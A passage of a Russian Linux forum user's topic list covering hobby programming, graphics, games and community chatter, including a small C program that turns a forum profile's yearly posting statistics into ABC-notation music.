Или первое разворачивается во второе и всё хорошо? Тут коротко для примера, но допустим таких case 1: case 50 case 500: ... bla(data) штук 100500.

@Harald @i-rinat @beastie

UDP: Разницы нет, ассемблерный вывод одинаковый gcc/clang. Но я так и не нашёл где явно описано.

UDP2: Разница есть, но мужно для каждого конкретного случая смотреть чего да как объяснения ниже.

LINUX-ORG-RU
()

Предложение по job форуму.

 , , , ,

Предлагаю удалять в job все сообщения где такое

И ещё куча неактуальных тем среди актуальных.

То есть если заказчик написал что исполнитель найден, но не отметил галочкой «решено» (этого функционала вообще нет лол) или не написал в заголовке [закрыто] то тему просто удалять, если галочку поставил то оставлять так как явно видно что тема решена. Такие темы просто неактуальны и нет смысла им продолжать существовать рядом с теми где работника всё ещё ищут.

Или разрешить удаление таких тем путём отправки в Ссылки на некорректные сообщения (56)

Закрытые объявления о работе без пометки что они завершены, замусоривают список последних актуальных вакансий и не имеют практической ценности.

UDP: https://github.com/maxcom/lorsource/issues/965 Проблема есть, решений несколько, чво решите то и будет или так и оставим.

LINUX-ORG-RU
()

Пайпы и графики из потока данных (plot)

 , , , ,

Надмозгный заголовок, да. Суть. Хочу вот так ./myapp | some-plot выводить графики. Не картинку, а что-бы жрало что дают и рисовало в реалтайме. Например у меня сейсмодатчик программа его читает формирует нужный формат и пускает его в виде текста в терминал, плот кушает и показывает как кто-то ятвойдомшатал.

Питон не нужен, иное тоже, хочу обособленную программу которой надо только совать формат который она умеет и всё. Утилитки на сях, а если вызывать изнутри всегда есть popen. gnuplot я так понял так не может?

Во всяких IDE для 40 летних детей, есть такие встроенные штуки типа как тут https://i.imgur.com/Et4k6aw.png в thonny встроенный плоттер. Питон поливает чиселки, крайне примитивный плоттер сразу рисует. Вот что-то такое только нормальное и самостоятельное + безгеморойное.

Для просто визуального контроля нашёл https://github.com/annacrombie/plot Работает просто как палка, удобно.

Но хотелось бы гуйню, чёбы с масштабом и всё такое.

UDP: Запилил себе сам https://i.imgur.com/3xfHmeT.mp4. Если доделаю по нормальному то выложу тут. А пока мне и этого топорного варианта хватает.

UDP: Аахахаах, тока сейчас заметил, голоса не мои, на фоне ютуб работал оказывается ыгыгыгы

LINUX-ORG-RU
()

15 Августа день протирания мониторов.

 , , , ,

Протри монитор, он бедный у тебя в пыли :3

LINUX-ORG-RU
()

14 Августа в 18:00 - Общий сбор всех Half-Life 2 игроков.

 , , , ,

Все кто любит серию Half-Life приглашаются запустить и играть в Half-Life 2. 14 Августа, ради просто забавы вывода игры в топ онлайна на всех платформах. Рекомендуется запустить и играть именно Half-Life 2 в Steam что-бы там гарантированно вывести её в топ онлайна.

Сбор игроков начнётся 14 августа в 18:00 по московскому времени. Если у вас не будет времени играть вы можете просто запустить её и свернуть хотя бы на пол часа. Но желательно конечно просто вспомнить добрые времена и пройти один из эпизодов.

Зачем? Да не зачем, просто так. Каждому игроку будет гарантированно выдана монтировка в самой игре. =)

Если вам есть кому про это сказать и где это сделать то передайте это сообщение дальше.

UDP: Все игроки спят, тихий час. Не шуметь. Пик был 16182. Наверное больше не будет

LINUX-ORG-RU
()

Кем заменить Леночку?

 , , , ,

http://www.lenna.org/ [тут была сиська] https://en.wikipedia.org/wiki/File:Lenna_(test_image).png

Эти http://sipi.usc.edu/database/database.php?volume=textures прогнулись. И вообще.

Нужна тестовая картинка, с тян и желательно под CC0 всё такое =)

Лена хороша, но незнаю что с правами, там что-то про добросовестное использование от playboy. Или можно не парится?

ПЫСЫ У меня ощущение что я это уже спрашивал, но вроде нет.

UDP: Жду косплея от девушки. Потом сюда ссыль вставлю.

UDP FINAL: Баб Лена против! Толи лицемерка в виду того что попой светить с сиськами на весь мир это пожалуйста, а просто портрет в шляпке для науки и технологий ей жалко. Толь на неё надавили требовательно попросив высказать просьбу не использовать её фото в технических целях хотя использовалось всего лишь лицо в шляпке без ню, а вот сама фотка один фиг диступна в плейбой. Короче всё это мутно, но так как владелец всего этого плейбой и модель против. То ну и ладно! Я сказал только что девушке что косплей отменяется, отдал половину вознаграждения ( пясот рублёв гы ) за потраченное на обсуждение время.


Допуская то что может Лена и в правду по какой то неведомой причине реально против своей фотки и на неё никто не давил по этому поводу. Оставляю её фотокарточку в покое и на веки вечные в забвении включая даже закосы под неё.

Суть https://www.nature.com/articles/s41565-018-0337-2 нет @AP прогнулись, значит прогнулись.

Найду ещё более откровенное фото гыгыгы.

-The End-

LINUX-ORG-RU
()

Ну чё FSR выпустили

 , , ,

Вот он https://github.com/GPUOpen-Effects/FidelityFX-FSR. Кто уже пилит патч для композиторов что-бы апскейлило на уровне системы? Ну типа запускаешь игру в окне, композитору говоришь, вот окно расширяй и оно у тебя в полноэкранном виде через FSR фильтрацию растягивается И да, надо на OGL2.1 перенести =)

(Да я знаю там требования к входному изображению есть иначе будет жопа, но пофиг)

Я пока не ковырял особо.

LINUX-ORG-RU
()

Кто хочет 100000$ за картинку?

 , , , ,

-22 июля команда разработки CS:GO запускает конкурс на 1 миллион долларов США «Грёзы и кошмары» среди работ в Мастерской.
-
-Нас интересуют 10 оригинальных раскрасок оружия, вдохновлённых грёзами или кошмарами. Каждая из 10 работ-победительниц принесёт своим авторам по 100 000 долларов США. Работу нужно загрузить в Мастерскую CS:GO, при этом у авторов должен быть аккаунт Steam -без ограничения прав. Кстати, работа может быть представлена несколькими людьми. 

Подробности https://store.steampowered.com/news/?emclan=103582791432902485&emgid=2999944978192983060

Так что если умеете рисовать и умеете/научитесь подготавливать текстурки на модельки обладая хорошей идеей. Чё бы не рискнуть. Предложить вариант свой, а там пусть хоть трава не растёт, повезёт и ты миллионер, нет… ну и хрен с ним.

Мододел всея ЛОРа @xDShot уже фигачишь? =)

LINUX-ORG-RU
()

Black Mesa: Blue Shift - готова.

 , , , ,

HECU Collective это российские модеры сделали на основе чёрной мезы мод вроде как повторяющий оригинальную игру с Барни Калхауном, охранником ставшим свидетелем звездеца который устроил Гордон Фримен. Игра проходит одновременно с временной линией похождения чувака с очками и гвоздодёром.

https://steamcommunity.com/sharedfiles/filedetails/?id=2424633574

https://www.moddb.com/mods/black-mesa-blue-shift-remake/news/chapter-2-insecurity-release

Можно качать если у вас есть https://store.steampowered.com/app/362890/Black_Mesa/ (нативочка для Linux имеется)

LINUX-ORG-RU
()

Ryan C. Gordon aka icculus разработчик SDL2 собирает на SDL бекенд для GTK+

 , , , ,

If I can hit this goal, I will write an SDL backend for GTK+, so that all sorts of new and wild platforms can suddenly have access to a powerful GUI toolkit.

Если я смогу достичь этой цели, я напишу бэкэнд SDL для GTK +, чтобы все виды новых и диких платформ могли внезапно получить доступ к мощному набору инструментов GUI.

Если вам такое нужно то можете поддержать идею https://github.com/sponsors/icculus

Цена вопросы штука баксов в месяц, пока есть 1$ в месяц ))))))))) негуста.

LINUX-ORG-RU
()

Eye Of Gnome (eog) искажает цвета

 , , ,

Нужно тут было взять цвет с картинки, открыл картинку пикнул через gcolor2. Бла бла бла, генерирую себе там на основе этого цвета всякое, так сяк эдак, отлаживаю, сравниваю чёт не то, ничё не работает сижу такой психую отлаживая где у меня косяк в коде. Открыл в гимпе, пикнул там… Цвет иной. Вот те и на.

То есть цвет RGB(120,50,100) а в eog показывает 126,55,98

Будьте бдительны и берегите невры.

P.S. Удалил это дерьмище, для просмотра взял GPicView 0.2.5 Всё корректно.

Версия дерьма

eog --version
Приложение для просмотра изображений для GNOME 3.38.2
LINUX-ORG-RU
()

Посоветуйте приложение Android

 ,

Я сам кнопочным пользуюсь, смарты ненужны =). Но нужно приложение типа просто плеера что-бы были ну типа плитки по нажитии на которых воспроизводилась заданная на эти плитки музыка без перехода на новый экран (типа полноэкранный воспроизведения). Суть в том что на эти кнопки будут задаваться короткие звуки и их иногда нужно просто тыкать, тыкнул одно заиграла, тыкнул другое заиграло и всё без телодвижений по переключению, потыкал разные плееры они все при выборе песни переходят в новое окно, а списка нету и надо для выбора жать назад.

Ах да, что-бы оно ещё на автомате не поаторяло или это было настраиваемо

LINUX-ORG-RU
()

Анимация механики blender (ведущая балка колёсной пары локомотива)

 , , , ,

Привет, есть такая колёсная пара локомотива https://i.ibb.co/hgh40LZ/2021-04-05-14-17-45.png без других механических деталей. В общем как анимировать механику? Вращение я понял как для всех объектов переключаюсь на вращение кватернионами (эйлер говно) затем включаю автоматическую установку ключевых кадров, делаю вращение вокруг центров объектов (колёса отдельные) и попутно смещаю ключевые кадры, получаю 5 опорных кадров которые делают вращение всё хорошо, затем думал также анимировать ведущую балку, но блендер запоминает то как я перетащил балку от места до места эммм не то, нужно как полагается ну типа вот https://i.gifer.com/origin/bc/bcf2be8664eddd3a16c29343c8f9999c_w200.gif. Есть модификатор который от изменения положения одного объекта трансформирует другой, но я хз оно работает хорошо с шестирёнками или тип того. В общем прошу кинуть ссылку или доку или ещё что по этой теме. Так то предполагается ещё десяток механических соединений и их анимации (локомотив приводится в движение пневмоприводом который сам крепится на ось и шатается толкая ведущую балку например) так что мне не частный случай желательно а общий. Помогите советом. Или пните в нужную сторону.

Если важно то потом буду экспортировать в SMD валвовский.

LINUX-ORG-RU
()

Музыкальный профиль ЛОР

 , , , ,

cc main.c -lcurl && ./a.out https://www.linux.org.ru/people/crutch_master/profile && abc2midi lm.abc && xdg-open ./lm46.mid

main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <curl/curl.h>
#define MAX_DAYS 365
struct year
{
    uint32_t date;
    uint32_t messages;
}user_year[MAX_DAYS];
static size_t profile_json_size = 0;
size_t get_profile_json(void* ptr, size_t size,size_t nmem, void* userdata)
{
    if(nmem==0) return 0;
    char** str=(char**)userdata;
    const char* input=(const char*)ptr;

    if(!str[0])
    {
        str[0]=malloc(nmem+1);
    }else{
        str[0]=realloc(str[0], profile_json_size+nmem+1);
    }
    memcpy(str[0]+profile_json_size, input, nmem);
    profile_json_size+=nmem;
    (*str)[profile_json_size]='\0';
    return nmem;
}
int sort_compare(const void *a,const void * b)
{
    if(((struct year*)a)->date < ((struct year*)b)->date)
    {
        return -1;
    }else if(((struct year*)a)->date > ((struct year*)b)->date)
    {
        return 1;
    }else 
    {
        return 0;
    };
    return 0;
}
void sort_profile_year(struct year* y)
{
    qsort(y,MAX_DAYS,sizeof(struct year),sort_compare);
}

void distribute_profile_year(struct year * y)
{
    struct   year yn[MAX_DAYS]={0};
    uint32_t day = 0;
    for (int i = 0; i != MAX_DAYS; ++i)
    {
        if(y[i].date != 0) {day=i;break;};
    }
    yn[0].date=y[day].date;
    for (int i = 1; i != MAX_DAYS; ++i)
    {
        yn[i].date=yn[i-1].date+86400;
    }
    for (int i = 0,c=day; i != MAX_DAYS; ++i)
    {
        if(yn[i].date == y[day].date)
        {
            yn[i].messages=y[day++].messages;
        }
        y[i]=yn[i];
    }
}

int main(int argc, char *argv[])
{
    enum io_args
    {    arg_url = 1,
         arg_out = 2,
    };
    CURL *  curl;
    CURLcode res;
    curl = curl_easy_init();
    char * profile_json_data = NULL;
    char urlbuff[1024]={0};
    snprintf(urlbuff,1023,"%s%s",argv[arg_url],"?year-stats");
    if(curl)
    {
        curl_easy_setopt(curl, CURLOPT_URL,urlbuff);
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &profile_json_data);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION,get_profile_json);
        res = curl_easy_perform(curl);

        if(res != CURLE_OK)
        {
            fprintf(stderr, "curl_easy_perform() failed: %s\n",
            curl_easy_strerror(res));
            curl_easy_cleanup(curl);
            return 1;
        }
        curl_easy_cleanup(curl);
    }
    for (size_t i = 0,c = 0; i < profile_json_size; ++i)
    {
       unsigned int messges_nums=0;
       unsigned int messges_date=0;

       if(profile_json_data[i]=='"')
       {
            if(sscanf(profile_json_data+i,"\"%d\"",&messges_date)==1)
            {
                user_year[c].date = messges_date;
            };
       }
       if(profile_json_data[i]==':')
       {
            sscanf(profile_json_data+i,": %d",&messges_nums);
            user_year[c++].messages=messges_nums;
       }
    }

    sort_profile_year(user_year);
    distribute_profile_year(user_year);
    for (int i = 0; i != MAX_DAYS; ++i)
    {
        printf("[%d][%3d] -> %i\n",user_year[i].date,user_year[i].messages,i);
    }
    FILE * out = fopen("lm.abc","w");
    if(!out)
    {
        return 1;
    }
    fprintf(out, "X:46\nK:C\n");

    static char * abc_language_table[30] =
    {
        "F,,","b",a","g","f","e","d","c ",
        "B,","A,","G,","F,","E,","D,","C,",
        "B,,","A,,","G,,","F,,","E,,",
        "D,,","C,,","B,,,","A,,,","G,,,",
        "F,,,","E,,,","D,,,","C,,,",
    };
    static char * xM[7]=
    {
        "\"Cm\" ",
        "\"Dm\" ",
        "\"Em\" ",
        "\"Fm\" ",
        "\"Gm\" ",
        "\"Am\" ",
        "\"Bm\" ",
    };

    if(strlen(urlbuff) > 32)
    {
        int size =strlen(urlbuff);
        for (int i = 32; urlbuff[i] != '/' && i < size;)
        {
            fprintf(out, "%s",abc_language_table[urlbuff[i++] % 29]);
        }
    }
    for (int i = 0; i < MAX_DAYS; ++i)
    {
        if(i%7==0)
        {
            fprintf(out, "\n%s", xM[i%6]);
        }

        fprintf(out, "%s",abc_language_table[user_year[i].messages % 29]);
    }
    fclose(out);
    return 0;
}

:D

LINUX-ORG-RU
()

Пустое сообщение.

 ,

Пустое сообщение.

LINUX-ORG-RU
()

RSS подписка на новые темы